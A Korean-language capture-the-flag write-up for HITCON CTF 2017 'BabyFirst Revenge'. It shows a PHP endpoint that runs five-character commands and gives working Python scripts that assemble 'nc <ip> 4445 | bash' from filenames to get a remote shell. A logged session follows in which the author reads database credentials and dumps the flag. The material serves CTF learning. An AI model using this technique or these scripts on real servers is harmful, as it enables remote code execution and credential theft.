HackingWeb

HITCON CTF 2017 - BabyFirst Revenge (172 pts.)

HITCON CTF 2017

문제 소스 :

1
2
3
4
5
6
7
8
9
10
<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

명령어를 5글자만 입력할 수 있다. 파일 이름들을 ‘l\\’, ‘s\\’이런 식으로 만들고 ‘ls>>\\’하게 되면

1
2
3
4
5
6
\
l\
s\
 \
-\
l\

이렇게 명령어를 만들어서 sh \로 실행할 수 있다.

make.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import socket
import struct

def ip2long(ip):
    return struct.unpack("!L", socket.inet_aton(ip))[0]

def cmd_req(t):
    url = 'http://52.199.204.34/?cmd=' + t
    requests.get(url)
    print url

ip = requests.get('https://ipapi.co/ip/').text

requests.get('http://52.199.204.34/?reset')

cmd = 'nc {} 4445 | bash'.format(ip2long(ip))

for ch in cmd:
    if not ch.isalpha():
        cmd_req('>\\{}\\'.format(ch))
    else:
        cmd_req('>{}\\\\'.format(ch))

    cmd_req('ls>>\\')
    cmd_req('rm ??')

shell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from socket import *
import hashlib
import requests
import thread

def server(s):
    while True:
        connection, client_address = s.accept()
        connection.send(cmd + "> result")
        connection.close()

s = socket(AF_INET, SOCK_STREAM)
s.bind(('', 4445))
s.listen(1)

thread.start_new_thread(server, (s,))
ip = requests.get('https://ipapi.co/ip/').text

name = hashlib.md5("orange" + ip).hexdigest()

while True:
    cmd = raw_input("# ")
    requests.get('http://52.199.204.34/?cmd=sh \\\\')
    print requests.get('http://52.199.204.34/sandbox/{}/result'.format(name)).text

실행하게 되면 쉘을 획득할 수 있게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
~ % python make.py
~ % python shell.py
# cat /home/fl4444g/README.txt
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr


# mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"
Database
information_schema
fl4gdb

# mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; show tables;"
Tables_in_fl4gdb
this_is_the_fl4g

# mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb; select * from this_is_the_fl4g;"
secret
hitcon{idea_from_phith0n,thank_you:)}
Share